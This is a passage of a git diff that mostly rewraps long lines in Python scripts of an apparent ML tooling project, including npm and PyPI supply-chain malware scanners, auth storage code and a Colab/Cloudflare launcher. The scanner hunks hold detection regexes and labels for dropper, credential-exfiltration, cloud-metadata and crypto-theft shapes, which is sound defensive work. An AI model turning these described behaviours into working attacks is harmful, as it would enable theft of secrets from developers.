+_IDENT_CHARS = frozenset( + "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$" +) def _slash_is_regex(prev_tok: str) -> bool: @@ -1547,7 +1566,9 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if isinstance(opt, dict): for k, v in opt.items(): if isinstance(v, str) and ( - v.startswith("github:") or v.startswith("git+") or v.startswith("git://") + v.startswith("github:") + or v.startswith("git+") + or v.startswith("git://") ): findings.append( Finding( @@ -1612,7 +1633,9 @@ def _outbound_host_evidence(text: str, host: str) -> str: ), # Host-config form: capture the whole line (path/headers/body), so a # changed outbound payload on the same hostname line reopens the key. - re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + re.compile( + rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE + ), ) # Record EVERY outbound context for the host, not just the first form that # matches: a file that already has a baselined URL for the host and later adds @@ -1641,12 +1664,16 @@ def _outbound_host_evidence(text: str, host: str) -> str: claimed.append((m.start(), m.end())) chosen.append(m) else: - _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + _fold_overflow_match( + overflow_hash, m, lines, sl_blanked, ml_blanked, nl + ) overflow_count += 1 if not chosen: return host chosen.sort(key = lambda m: m.start()) - shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + shown = [ + _format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen + ] if overflow_count: shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") return " | ".join(shown) @@ -1730,7 +1757,9 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: filename = rel, pattern = "js-fetch-eval", evidence = _evidence(text, _JS_FETCH_EVAL), - detail = ("Function/eval against base64-decoded payload (obfuscated dropper shape)"), + detail = ( + "Function/eval against base64-decoded payload (obfuscated dropper shape)" + ), ) ) if _JS_ENV_TOKEN.search(text): @@ -1871,7 +1900,9 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N # Mirrors scan_packages.py. Regenerate with ``--write-baseline``. # ───────────────────────────────────────────────────────────────────── -_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") +_DEFAULT_BASELINE_PATH = str( + Path(__file__).resolve().parent / "scan_npm_packages_baseline.json" +) # Bumped when the entry-key semantics change. v3 adds an evidence hash so a new # payload under an already-listed package/path/pattern is not auto-suppressed; v2 @@ -1959,7 +1990,9 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: if not isinstance(e, dict): continue try: - evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + evidence_hash = e.get("evidence_hash") or _evidence_hash( + e.get("evidence") or "" + ) if not e.get("evidence_hash"): legacy += 1 keys.add( @@ -2206,7 +2239,8 @@ def main(argv: list[str] | None = None) -> int: if hard_errors or blocking: if blocking: print( - f"\n[scan-npm] FAIL: {len(blocking)} finding(s) " f"at or above {threshold}", + f"\n[scan-npm] FAIL: {len(blocking)} finding(s) " + f"at or above {threshold}", file = sys.stderr, ) return 1 diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index 73f6ff2291..3ecd93cd0d 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -160,7 +160,9 @@ RE_EMBEDDED_KEYS = re.compile( ) # Full PEM block (BEGIN..END), used to pin a multiline key body in evidence. -RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL) +RE_PEM_BLOCK = re.compile( + r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL +) # Cloud metadata / IMDS endpoints RE_CLOUD_METADATA = re.compile( @@ -324,7 +326,9 @@ RE_CRYPTO_THEFT = re.compile( RE_PTH_IMPORT = re.compile(r"^\s*import\s+", re.MULTILINE) # openssl CLI invocations via subprocess (encrypted exfiltration) -RE_OPENSSL_CLI = re.compile(r"\bopenssl\s+(enc|rand|rsautl|pkeyutl|genrsa|dgst|s_client)\b") +RE_OPENSSL_CLI = re.compile( + r"\bopenssl\s+(enc|rand|rsautl|pkeyutl|genrsa|dgst|s_client)\b" +) # Write to /tmp then execute (staged dropper) RE_TEMP_EXEC = re.compile( @@ -533,7 +537,9 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # A STRING after one of these tokens (and before a NEWLINE) is a bare # docstring/doctest/prose statement -- the dominant FP source -- so we blank it. # A string after `=` or `(` is real code and is never blanked. -_LINE_START_TOKENS = frozenset({tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT}) +_LINE_START_TOKENS = frozenset( + {tokenize.NEWLINE, tokenize.NL, tokenize.INDENT, tokenize.DEDENT} +) def _is_fstring(tok_string: str) -> bool: @@ -1425,7 +1431,9 @@ def _extract_evidence( if len(head) > _MAX_LINE_CHARS: head = head[:_MAX_LINE_CHARS] + "..." return f"L{start}: {head} sha256:{digest}" - return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span)) + return "\n".join( + f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span) + ) for i, line in enumerate(lines, 1): if pattern.search(line): @@ -1484,7 +1492,9 @@ def _embedded_key_evidence(content: str) -> str: ev = _extract_evidence(content, RE_EMBEDDED_KEYS) blocks = RE_PEM_BLOCK.findall(content) if blocks: - digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest() + digest = hashlib.sha256( + "\n".join(blocks).encode("utf-8", "replace") + ).hexdigest() ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}" return ev @@ -1794,13 +1804,15 @@ def iter_archive_files(archive_path: str): # historically dereferenced them on extract. if member.issym() or member.islnk(): print( - f" [WARN] {path.name}: refused link member " f"{member.name!r}", + f" [WARN] {path.name}: refused link member " + f"{member.name!r}", file = sys.stderr, ) continue if member.isdev() or member.isfifo(): print( - f" [WARN] {path.name}: refused special member " f"{member.name!r}", + f" [WARN] {path.name}: refused special member " + f"{member.name!r}", file = sys.stderr, ) continue @@ -1975,7 +1987,9 @@ _SDIST_DOWNLOAD_TIMEOUT = 180 # Never fetch an archive larger than we would be willing to scan (iter_archive_files cap). _MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES # Direct sdist bytes only ever come from PyPI's own CDN; refuse anything else. -_TRUSTED_PYPI_HOSTS = frozenset({"files.pythonhosted.org", "pypi.org", "pypi.python.org"}) +_TRUSTED_PYPI_HOSTS = frozenset( + {"files.pythonhosted.org", "pypi.org", "pypi.python.org"} +) def _spec_pin_version(spec: str) -> str | None: @@ -2014,7 +2028,9 @@ def _release_files(meta: dict, version: str | None) -> list[dict]: def _release_has_wheel(meta: dict, version: str | None) -> bool: """True if the (pinned or latest) release publishes any bdist_wheel.""" - return any(f.get("packagetype") == "bdist_wheel" for f in _release_files(meta, version)) + return any( + f.get("packagetype") == "bdist_wheel" for f in _release_files(meta, version) + ) def _is_trusted_pypi_url(url: str) -> bool: @@ -2140,10 +2156,14 @@ def _download_sdist_direct( return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}" # basename + sanitize keeps the path inside dest; the char class preserves # the real `.tar.gz` / `.zip` suffix so the archive reader picks the format. - safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz" + safe_fname = ( + _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz" + ) out = os.path.join(dest, safe_fname) try: - req = urllib.request.Request(url, headers = {"Accept": "application/octet-stream"}) + req = urllib.request.Request( + url, headers = {"Accept": "application/octet-stream"} + ) with urllib.request.urlopen(req, timeout = _SDIST_DOWNLOAD_TIMEOUT) as resp: if getattr(resp, "status", 200) != 200: return None, f"sdist HTTP {getattr(resp, 'status', '?')} for {name}" @@ -2158,7 +2178,10 @@ def _download_sdist_direct( ) return out, None except Exception as exc: - return None, f"sdist download failed for {name}: {type(exc).__name__}: {str(exc)[:120]}" + return ( + None, + f"sdist download failed for {name}: {type(exc).__name__}: {str(exc)[:120]}", + ) def _pip_download_with_deps( @@ -2179,7 +2202,9 @@ def _pip_download_with_deps( dest, ] + list(specs) try: - proc = subprocess.run(cmd, capture_output = True, text = True, timeout = timeout, env = env) + proc = subprocess.run( + cmd, capture_output = True, text = True, timeout = timeout, env = env + ) return proc.returncode, proc.stderr or "" except subprocess.TimeoutExpired: return 124, "pip download (with deps) timed out" @@ -2219,7 +2244,9 @@ def _resolve_per_spec_with_deps( spec, ] try: - proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env) + proc = subprocess.run( + cmd, capture_output = True, text = True, timeout = 300, env = env + ) except subprocess.TimeoutExpired: download_errors.append(f"per-spec --with-deps timed out for {spec}") continue @@ -2231,7 +2258,9 @@ def _resolve_per_spec_with_deps( if fpath is None: download_errors.append(serr or f"sdist fetch failed for {name}") continue - sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors)) + sdist_dep_followups.extend( + _requires_dist_for(name, version, meta, download_errors) + ) continue # Has a wheel but the full transitive tree won't co-resolve # (ResolutionImpossible) -- typically a package the requirement file @@ -2251,7 +2280,9 @@ def _resolve_per_spec_with_deps( spec, ] try: - nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env) + nd = subprocess.run( + nd_cmd, capture_output = True, text = True, timeout = 180, env = env + ) except subprocess.TimeoutExpired: download_errors.append(f"per-spec --no-deps timed out for {spec}") continue @@ -2265,7 +2296,9 @@ def _resolve_per_spec_with_deps( # which --no-deps skips. Recover the declared deps so that class is # still scanned (each is fetched as a wheel or direct sdist below). if meta is not None: - sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors)) + sdist_dep_followups.extend( + _requires_dist_for(name, version, meta, download_errors) + ) continue # --no-deps also failed: last-ditch sdist fetch at the pinned version. if meta is not None: @@ -2273,7 +2306,8 @@ def _resolve_per_spec_with_deps( if fpath is not None: continue download_errors.append( - f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}" + f"per-spec failed for {spec} (with-deps and --no-deps): " + f"{nd.stderr.strip()[:240]}" ) # Recover the transitive deps of sdist-only packages. A depth-bounded, @@ -2302,7 +2336,9 @@ def _resolve_per_spec_with_deps( dep, ] try: - proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 300, env = env) + proc = subprocess.run( + cmd, capture_output = True, text = True, timeout = 300, env = env + ) except subprocess.TimeoutExpired: print(f" [WARN] dep download timed out for {dep}", file = sys.stderr) continue @@ -2310,14 +2346,21 @@ def _resolve_per_spec_with_deps( continue meta = _pypi_json(dep_name) if meta is None: - print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr) + print( + f" [WARN] could not resolve indirect dep {dep}; skipping", + file = sys.stderr, + ) continue if not _release_has_wheel(meta, dep_ver): fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta) if fpath is None: - print(f" [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr) + print( + f" [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr + ) elif depth < _MAX_DEP_FOLLOWUP_DEPTH: - worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + worklist.extend( + (d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta) + ) continue # Wheel published but its tree won't co-resolve (a sdist-only child). # Fetch the dep alone so it is scanned, then chase its own declared deps. @@ -2333,19 +2376,28 @@ def _resolve_per_spec_with_deps( dep, ] try: - nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env) + nd = subprocess.run( + nd_cmd, capture_output = True, text = True, timeout = 180, env = env + ) except subprocess.TimeoutExpired: print(f" [WARN] dep --no-deps timed out for {dep}", file = sys.stderr) continue if nd.returncode == 0: if depth < _MAX_DEP_FOLLOWUP_DEPTH: - worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + worklist.extend( + (d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta) + ) continue fpath, _serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta) if fpath is None: - print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr) + print( + f" [WARN] could not resolve indirect dep {dep}; skipping", + file = sys.stderr, + ) elif depth < _MAX_DEP_FOLLOWUP_DEPTH: - worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + worklist.extend( + (d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta) + ) def download_packages( @@ -2410,7 +2462,9 @@ def download_packages( spec, ] try: - proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 120, env = env) + proc = subprocess.run( + cmd, capture_output = True, text = True, timeout = 120, env = env + ) except subprocess.TimeoutExpired: download_errors.append(f"pip download timed out for {spec}") continue @@ -2420,7 +2474,9 @@ def download_packages( version = _spec_pin_version(spec) meta = _pypi_json(name) if meta is not None and not _release_has_wheel(meta, version): - fpath, serr = _download_sdist_direct(name, version, pkg_dir, meta = meta) + fpath, serr = _download_sdist_direct( + name, version, pkg_dir, meta = meta + ) if fpath is not None: results.append((spec, fpath)) continue @@ -2447,7 +2503,9 @@ def _extract_pkg_name(spec: str) -> str: """Extract the package name from a pip spec string.""" m = _RE_NAME.match(spec) return ( - m.group(1) if m else spec.split("==")[0].split(">=")[0].split("<=")[0].split("[")[0].strip() + m.group(1) + if m + else spec.split("==")[0].split(">=")[0].split("<=")[0].split("[")[0].strip() ) @@ -2790,7 +2848,9 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> N if git_entries: for e in git_entries: src = e["source_file"] or "CLI" - print(f" [SKIP] {pkg_name} is a git URL dep in {src}, cannot auto-update") + print( + f" [SKIP] {pkg_name} is a git URL dep in {src}, cannot auto-update" + ) changes_summary.append(f" SKIP {pkg_name} (git URL)") continue @@ -2815,7 +2875,9 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> N shutil.rmtree(dl_dir, ignore_errors = True) if not current_ver: - print(f" [WARN] Cannot determine current version of {pkg_name}, skipping fix") + print( + f" [WARN] Cannot determine current version of {pkg_name}, skipping fix" + ) changes_summary.append(f" SKIP {pkg_name} (version unknown)") continue @@ -2832,7 +2894,9 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> N continue print(f" [OK] {pkg_name}: {current_ver} -> {safe_ver}") - changes_summary.append(f" FIX {pkg_name}=={current_ver} -> {pkg_name}=={safe_ver}") + changes_summary.append( + f" FIX {pkg_name}=={current_ver} -> {pkg_name}=={safe_ver}" + ) # Update all occurrences in requirements files file_updates: dict[str, dict[int, str]] = {} @@ -2879,7 +2943,9 @@ def _find_requirements_files(root: str) -> list[str]: dirnames[:] = [ d for d in dirnames - if not d.startswith(".") and d not in skip_dirs and not d.endswith(".egg-info") + if not d.startswith(".") + and d not in skip_dirs + and not d.endswith(".egg-info") ] dirname = os.path.basename(dirpath) for fname in sorted(filenames): @@ -2953,7 +3019,9 @@ def _canon_evidence(evidence: str) -> str: def _evidence_hash(evidence: str) -> str: """Stable digest of the canonical matched evidence.""" - return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest() + return hashlib.sha256( + _canon_evidence(evidence).encode("utf-8", "replace") + ).hexdigest() def _finding_key(f: Finding) -> tuple[str, str, str, str]: @@ -2995,7 +3063,9 @@ def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: continue try: # Use the reviewed hash; else recompute it from the stored evidence. - evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + evidence_hash = e.get("evidence_hash") or _evidence_hash( + e.get("evidence") or "" + ) if not e.get("evidence_hash"): legacy += 1 keys.add( @@ -3151,7 +3221,9 @@ def main() -> int: print(f" {f}") req_files.extend(found) else: - print(f" [WARN] No requirements files found in {scan_dir}/", file = sys.stderr) + print( + f" [WARN] No requirements files found in {scan_dir}/", file = sys.stderr + ) # Build unified entry list: list of dicts with source tracking entries: list[dict] = [] diff --git a/scripts/stamp_studio_release.py b/scripts/stamp_studio_release.py index 739f6d1063..e02bc7311a 100644 --- a/scripts/stamp_studio_release.py +++ b/scripts/stamp_studio_release.py @@ -42,7 +42,9 @@ def _atomic_write_text( REPO_ROOT = Path(__file__).resolve().parents[1] -BUILD_INFO_PATH = REPO_ROOT / "studio" / "backend" / "utils" / "_studio_release_build.py" +BUILD_INFO_PATH = ( + REPO_ROOT / "studio" / "backend" / "utils" / "_studio_release_build.py" +) BUILD_INFO_SUFFIX = "studio/backend/utils/_studio_release_build.py" VERSION_RE = re.compile(r"^v\d+\.\d+\.\d+(?:-[0-9A-Za-z.][0-9A-Za-z.-]*)?$") GIT_DESCRIBE_SUFFIX_RE = re.compile(r"-\d+-g[0-9A-Fa-f]+(?:-dirty)?$") @@ -233,7 +235,9 @@ def _read_sdist_member(path: Path) -> str | None: def verify_dist(expected: str, dist_dir: Path) -> int: if not is_valid_version(expected): - print(f"Invalid expected Unsloth release version: {expected!r}", file = sys.stderr) + print( + f"Invalid expected Unsloth release version: {expected!r}", file = sys.stderr + ) return 2 artifacts = list(dist_dir.glob("*.whl")) + list(dist_dir.glob("*.tar.gz")) @@ -258,7 +262,9 @@ def verify_dist(expected: str, dist_dir: Path) -> int: print(failure, file = sys.stderr) return 2 - print(f"Verified Unsloth release version {expected} in {len(artifacts)} artifact(s)") + print( + f"Verified Unsloth release version {expected} in {len(artifacts)} artifact(s)" + ) return 0 diff --git a/scripts/sync_allow_scripts_pins.py b/scripts/sync_allow_scripts_pins.py index 1d9a075ab4..22beecaa75 100644 --- a/scripts/sync_allow_scripts_pins.py +++ b/scripts/sync_allow_scripts_pins.py @@ -74,7 +74,9 @@ def desired_key(name: str, versions: list[str]) -> str: return f"{name}@{' || '.join(versions)}" -def compute_renames(policy: dict, lock_versions: dict[str, list[str]]) -> dict[str, str]: +def compute_renames( + policy: dict, lock_versions: dict[str, list[str]] +) -> dict[str, str]: renames: dict[str, str] = {} for key in policy: name, rng = split_spec(key) @@ -93,7 +95,9 @@ def main(argv: list[str] | None = None) -> int: ap = argparse.ArgumentParser(description = __doc__) mode = ap.add_mutually_exclusive_group(required = True) mode.add_argument("--check", action = "store_true", help = "exit 1 if pins are stale") - mode.add_argument("--fix", action = "store_true", help = "rewrite package.json in place") + mode.add_argument( + "--fix", action = "store_true", help = "rewrite package.json in place" + ) ap.add_argument( "--dir", type = Path, @@ -105,20 +109,26 @@ def main(argv: list[str] | None = None) -> int: pkg_path = args.dir / "package.json" lock_path = args.dir / "package-lock.json" if not pkg_path.exists() or not lock_path.exists(): - print(f"sync-allow-scripts: nothing to do ({args.dir} has no package.json + lockfile)") + print( + f"sync-allow-scripts: nothing to do ({args.dir} has no package.json + lockfile)" + ) return 0 pkg = json.loads(pkg_path.read_text(encoding = "utf-8")) policy = pkg.get("allowScripts") if not isinstance(policy, dict) or not policy: - print("sync-allow-scripts: no allowScripts policy in package.json, nothing to do") + print( + "sync-allow-scripts: no allowScripts policy in package.json, nothing to do" + ) return 0 lock = json.loads(lock_path.read_text(encoding = "utf-8")) renames = compute_renames(policy, script_versions_from_lock(lock)) if not renames: - print(f"sync-allow-scripts: {len(policy)} allowScripts entries in sync with the lockfile") + print( + f"sync-allow-scripts: {len(policy)} allowScripts entries in sync with the lockfile" + ) return 0 for old, new in renames.items(): @@ -132,7 +142,9 @@ def main(argv: list[str] | None = None) -> int: return 1 pkg["allowScripts"] = {renames.get(k, k): v for k, v in policy.items()} - pkg_path.write_text(json.dumps(pkg, indent = 2, ensure_ascii = False) + "\n", encoding = "utf-8") + pkg_path.write_text( + json.dumps(pkg, indent = 2, ensure_ascii = False) + "\n", encoding = "utf-8" + ) print( f"sync-allow-scripts: re-pinned {len(renames)} entr{'y' if len(renames) == 1 else 'ies'} in {pkg_path}" ) diff --git a/scripts/verify_comment_only_diff.py b/scripts/verify_comment_only_diff.py index 23d06b85df..0ec49b5755 100644 --- a/scripts/verify_comment_only_diff.py +++ b/scripts/verify_comment_only_diff.py @@ -131,7 +131,8 @@ def _walk_yaml_diff( """Print a path-keyed summary of the first structural / scalar diff.""" if type(b) is not type(a): print( - f" type-diff at {prefix or '/'}: " f"{type(b).__name__} -> {type(a).__name__}", + f" type-diff at {prefix or '/'}: " + f"{type(b).__name__} -> {type(a).__name__}", ) return if isinstance(b, dict): diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py index 22a21a2ebc..6c42290ac0 100644 --- a/scripts/verify_import_hoist.py +++ b/scripts/verify_import_hoist.py @@ -161,7 +161,9 @@ class _Builder(ast.NodeVisitor): def _visit_stmt(self, node: ast.AST, scope: Scope) -> None: if isinstance(node, (ast.Import, ast.ImportFrom)): - star = isinstance(node, ast.ImportFrom) and any(a.name == "*" for a in node.names) + star = isinstance(node, ast.ImportFrom) and any( + a.name == "*" for a in node.names + ) if star: scope.star_import = True for alias in node.names: @@ -349,7 +351,9 @@ class _Builder(ast.NodeVisitor): self._bind_args(node.args, child) self._visit_expr(node.body, child) return - if isinstance(node, (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp)): + if isinstance( + node, (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp) + ): child = Scope("comp", f"{scope.qualname}.", scope) for i, gen in enumerate(node.generators): # first iterable evaluates in the enclosing scope @@ -608,7 +612,9 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] if tbefore and tbefore != tafter and (tbefore - tafter): lost = tbefore - tafter gained = tafter - tbefore - relocated = lost <= removed_module_targets and gained <= added_module_targets + relocated = ( + lost <= removed_module_targets and gained <= added_module_targets + ) if relocated: continue findings.append( @@ -633,7 +639,9 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] for scope, names in b["ambiguous"].items(): new = names - a["ambiguous"].get(scope, set()) for n in sorted(new): - findings.append(("WARN", f"{path}: AMBIGUOUS-BIND '{n}' import+non-import in {scope}")) + findings.append( + ("WARN", f"{path}: AMBIGUOUS-BIND '{n}' import+non-import in {scope}") + ) # 6. TARGET-MISSING (informational): a scope stopped resolving to an import # target. Real bugs are covered above; remaining cases are relocated code. @@ -645,7 +653,9 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] if t in added_module_targets else " [target not re-added here -> likely relocated/deleted]" ) - findings.append(("INFO", f"{path}: TARGET-MISSING {t} in scope {scope}{relocated}")) + findings.append( + ("INFO", f"{path}: TARGET-MISSING {t} in scope {scope}{relocated}") + ) return findings @@ -790,7 +800,9 @@ def audit_files(paths: list[str]) -> int: ok = n_err == 0 and n_fp == 0 print( "\nAUDIT:", - "ROBUST (no crashes, no false positives vs pyflakes)" if ok else "NEEDS WORK (see above)", + "ROBUST (no crashes, no false positives vs pyflakes)" + if ok + else "NEEDS WORK (see above)", ) return 0 if ok else 1 @@ -826,12 +838,18 @@ def main() -> int: blockers = [f for f in findings if f[0] == "BLOCKER"] warns = [f for f in findings if f[0] == "WARN"] infos = [f for f in findings if f[0] == "INFO"] - status = "CLEAN" if not blockers and not warns else ("BLOCKERS" if blockers else "WARNINGS") + status = ( + "CLEAN" + if not blockers and not warns + else ("BLOCKERS" if blockers else "WARNINGS") + ) print(f"\n=== {path}: {status} ===") for sev, m in blockers + warns + infos: print(f" [{sev}] {m}") any_blocker = any_blocker or bool(blockers) - print("\nOVERALL:", "FAIL (blockers found)" if any_blocker else "PASS (no blockers)") + print( + "\nOVERALL:", "FAIL (blockers found)" if any_blocker else "PASS (no blockers)" + ) return 1 if any_blocker else 0 diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index dfb8fc513e..e06f0c88f7 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -108,7 +108,9 @@ def create_refresh_token(subject: str, *, desktop: bool = False) -> str: return token -def refresh_access_token(refresh_token: str) -> Tuple[Optional[str], Optional[str], bool]: +def refresh_access_token( + refresh_token: str, +) -> Tuple[Optional[str], Optional[str], bool]: """ Validate a refresh token and issue a new access token. @@ -135,7 +137,9 @@ def reload_secret() -> None: load_jwt_secret() -async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depends(security)) -> str: +async def get_current_subject( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> str: """Validate JWT and require the password-change flow to be completed.""" return await _get_current_subject( credentials, diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py index 39fa691304..b7e52f1c95 100644 --- a/studio/backend/auth/storage.py +++ b/studio/backend/auth/storage.py @@ -195,9 +195,13 @@ def get_connection() -> sqlite3.Connection: ); """ ) - api_key_columns = {row["name"] for row in conn.execute("PRAGMA table_info(api_keys)")} + api_key_columns = { + row["name"] for row in conn.execute("PRAGMA table_info(api_keys)") + } if "is_internal" not in api_key_columns: - conn.execute("ALTER TABLE api_keys ADD COLUMN is_internal INTEGER NOT NULL DEFAULT 0") + conn.execute( + "ALTER TABLE api_keys ADD COLUMN is_internal INTEGER NOT NULL DEFAULT 0" + ) conn.execute( """ CREATE TABLE IF NOT EXISTS app_secrets ( @@ -211,9 +215,13 @@ def get_connection() -> sqlite3.Connection: conn.execute( "ALTER TABLE auth_user ADD COLUMN must_change_password INTEGER NOT NULL DEFAULT 0" ) - refresh_columns = {row["name"] for row in conn.execute("PRAGMA table_info(refresh_tokens)")} + refresh_columns = { + row["name"] for row in conn.execute("PRAGMA table_info(refresh_tokens)") + } if "is_desktop" not in refresh_columns: - conn.execute("ALTER TABLE refresh_tokens ADD COLUMN is_desktop INTEGER NOT NULL DEFAULT 0") + conn.execute( + "ALTER TABLE refresh_tokens ADD COLUMN is_desktop INTEGER NOT NULL DEFAULT 0" + ) conn.commit() return conn diff --git a/studio/backend/auth/terminal_prompt.py b/studio/backend/auth/terminal_prompt.py index e855f4078b..04fbcab41a 100644 --- a/studio/backend/auth/terminal_prompt.py +++ b/studio/backend/auth/terminal_prompt.py @@ -197,7 +197,11 @@ def _read_password(prompt: str, *, out: "TextIO | None" = None) -> str: def should_prompt_password_change( - *, tunnel_will_start: bool, requires_change: bool, stdin_isatty: bool, stderr_isatty: bool + *, + tunnel_will_start: bool, + requires_change: bool, + stdin_isatty: bool, + stderr_isatty: bool, ) -> bool: """Whether to block startup on an interactive terminal password change. @@ -233,7 +237,9 @@ def prompt_for_password_change( while True: new_password = _read_password("New password: ", out = out) if len(new_password) < min_length: - out.write(f"Password must be at least {min_length} characters; try again.\n") + out.write( + f"Password must be at least {min_length} characters; try again.\n" + ) out.flush() continue if is_current_password(new_password): @@ -257,7 +263,9 @@ def prompt_for_password_change( return False -def resolve_supplied_password(cli_value: "str | None", out: "TextIO | None" = None) -> "str | None": +def resolve_supplied_password( + cli_value: "str | None", out: "TextIO | None" = None +) -> "str | None": """Resolve a non-interactive initial admin password, or None if unset. Precedence: an explicit ``--password`` (literal ``-`` reads a line from diff --git a/studio/backend/cloudflare_tunnel.py b/studio/backend/cloudflare_tunnel.py index b1ddc74c32..33a6426691 100644 --- a/studio/backend/cloudflare_tunnel.py +++ b/studio/backend/cloudflare_tunnel.py @@ -87,7 +87,9 @@ def _asset_name() -> Optional[Tuple[str, bool]]: def _cache_path() -> Optional[Path]: """studio_bin_root()/cloudflared(.exe), or None if the studio home is unresolvable.""" try: - from utils.paths.storage_roots import studio_bin_root # lazy: backend-only import + from utils.paths.storage_roots import ( + studio_bin_root, + ) # lazy: backend-only import except Exception: return None name = "cloudflared.exe" if sys.platform == "win32" else "cloudflared" @@ -273,7 +275,9 @@ class CloudflareTunnel: if self.url is None: self.error = "cloudflared exited before emitting a tunnel URL" elif not self.ready: - self.error = "cloudflared exited before the tunnel connection registered" + self.error = ( + "cloudflared exited before the tunnel connection registered" + ) self._url_event.set() self._ready_event.set() diff --git a/studio/backend/colab.py b/studio/backend/colab.py index 1762469bcf..21c3954b97 100644 --- a/studio/backend/colab.py +++ b/studio/backend/colab.py @@ -41,7 +41,12 @@ def get_colab_url(port: int = 8888) -> str: try: url = eval_js(f"google.colab.kernel.proxyPort({port})", timeout_sec = 10) # Valid proxy URL is https:// and embeds the port. - if url and isinstance(url, str) and url.startswith("https://") and str(port) in url: + if ( + url + and isinstance(url, str) + and url.startswith("https://") + and str(port) in url + ): return url.rstrip("/") except Exception as e: logger.info(f"Note: Could not get Colab URL (attempt {attempt + 1}/3: {e})") @@ -114,7 +119,9 @@ def _bootstrap_password_pending() -> bool: from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME return bool(requires_password_change(DEFAULT_ADMIN_USERNAME)) except Exception as e: - logger.info(f"Could not check admin password state ({e}); refusing tunnel to be safe.") + logger.info( + f"Could not check admin password state ({e}); refusing tunnel to be safe." + ) return True @@ -188,7 +195,9 @@ def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool: """ import json, urllib.request try: - with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout) as r: + with urllib.request.urlopen( + f"http://localhost:{port}/api/health", timeout = timeout + ) as r: return json.loads(r.read()).get("service") == "Unsloth UI Backend" except Exception: return False @@ -295,7 +304,9 @@ def start(port: int = 8888, *, cloudflare: bool = False): # Fast path: Unsloth already running (cell re-run). Re-launching would collide on # the port, so just re-show the link and iframe. if _is_studio_healthy(port): - logger.info(f" Unsloth is already running on port {port} — reusing existing server.") + logger.info( + f" Unsloth is already running on port {port} — reusing existing server." + ) # try/finally: tear the tunnel down even if interrupted mid-start/render. try: cf_url = start_cloudflare_tunnel(port) if cloudflare else None @@ -352,7 